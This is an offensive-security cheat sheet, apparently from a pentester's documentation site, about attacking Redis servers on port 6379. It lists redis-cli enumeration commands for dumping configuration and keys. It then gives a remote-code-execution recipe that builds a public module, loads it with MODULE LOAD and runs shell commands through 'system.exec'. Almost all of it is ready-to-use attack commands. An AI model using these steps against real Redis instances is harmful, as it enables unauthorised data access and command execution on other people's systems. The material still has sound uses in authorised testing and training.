> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/tcp/redis-or-6379.md).

# Redis | 6379

## 00. Basic

```bash
## ------------------| Connect
sudo apt-get install redis-tools
redis-cli <IP>

## ------------------| Authentication
AUTH <username> <password>

## ------------------| Enumerations
INFO
CONFIG GET *
INFO keyspace
SELECT 1
KEYS * 
GET <KEY>
```

## 02. RCE

* [RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)

```bash
## ------------------| Setup
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git 
cd RedisModules-ExecuteCommand && make
cp module.so /dev/shm/

## ------------------| Load module in to radis
MODULE LOAD /dev/shm/module.so
MODULE LIST
system.exec "id"
```
